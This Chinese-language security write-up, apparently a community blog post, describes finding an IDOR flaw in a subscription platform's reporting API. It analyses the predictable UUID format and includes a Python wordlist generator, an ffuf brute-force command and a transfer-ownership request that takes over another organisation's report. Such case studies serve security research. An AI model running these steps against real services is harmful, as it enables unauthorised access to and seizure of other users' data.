本文章仅用网络安全研究学习,请勿使用相关技术进行违法犯罪活动。
在一次安全测试中,我和朋友对一个基于云的订阅管理平台进行了探索。该平台专为提供周期性计费、订阅服务和按使用量定价的企业而设计,旨在帮助企业管理者整个订阅生命周期。
在尝试各种功能时,我重点关注了其报表功能。该功能可以根据设定的数据和步骤来生成工作报告。我导航到报告生成的最后一步,点击“运行”以将报告发布给管理员。此时,同一组织内的其他用户有权阅读报告,但无权编辑。
在这一步,我注意到系统为报告生成了一个ID,并且这个ID是一个UUID格式的字符串。这引起了我的兴趣,我将其记录了下来。
经过一番查找,我找到了一个用于读取报告详情的API端点,它通过GET请求并接受一个报告ID作为参数:GET /reporting/api/rest/v1/report/describe/UUID。
图1:通过HTTP请求获取报告详情的接口返回信息

我立刻想到了测试IDOR(不安全的直接对象引用)漏洞。但问题来了:如何在不拥有其他组织ID的情况下进行测试呢?
我重新回到创建报告的环节。为了找出UUID生成的规律,我连续创建了多份报告,观察并对比这些ID之间的差异。
我发现,这个由32位十六进制数字构成的UUID,其前16位数字呈现出两种固定的格式:2c91808298599e03 和 2c91808398599bae。接下来的8位数字与时间戳相关,大约每分钟按十六进制递增1。随后的4位数字则会在每次请求时完全随机地变化,范围从 0000 到 ffff。最后4位数字是报告ID本身,它会按顺序递增。
这意味着整个UUID的结构可以拆解为:固定前缀 + 时间戳部分 + 随机数 + 报告ID。
图2:UUID结构分解示意图(格式一)

图3:UUID结构分解示意图(格式二)

因此,如果我们能在5分钟内发送两次请求,获取到两个不同的UUID,通过对比就能确定时间戳部分变化的几种可能。而随机生成的4位数字则有65536种(0000 到 ffff)可能性。
接下来,我编写了一个简单的Python脚本来生成包含所有可能随机数的UUID字典。
start_hex = 0x0000
end_hex = 0xffff
prefix = "2c91808298599e030198d7e4"
suffix = "4b51"
with open("wordlist.txt", "w") as f:
for num in range(start_hex, end_hex + 1):
hex_part = f"{num:04x}" # 4-digit hex lowercase
f.write(f"{prefix}{hex_part}{suffix}\n")
然后,使用 ffuf 这类工具对目标HTTP接口进行快速模糊测试,尝试碰撞出有效的报告UUID。
ffuf -w wordlist.txt -u http://test.com/reporting/api/rest/v1/report/describe/FUZZ -t 50 -H “cookie:” -o result.txt
找到目标报告ID后,最后一步就是接管其所有权。通过深入分析,我在平台文档中发现了一个名为 transfer-ownership 的POST请求,它需要两个参数:reportIds 和 newOwnerUserId。
POST /reporting/api/rest/v1/reports/transfer-ownership HTTP/2
Host: test.com
Cookie: ZSession=
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Length: 124
{
"reportIds": [
"reportid"
],
"newOwnerUserId": "{yourid}"
}
构造并发送这个请求后,我们便成功地将目标报告的所有权转移到了自己的账户下。
图4:报告所有权转移成功的请求响应截图

这个案例展示了在安全测试中,通过分析UUID的生成规律来发现和利用IDOR漏洞的过程。对开发者而言,在设计标识符生成机制时,确保其足够的随机性和不可预测性至关重要。更多精彩的技术分析与实战案例,欢迎访问云栈社区进行交流。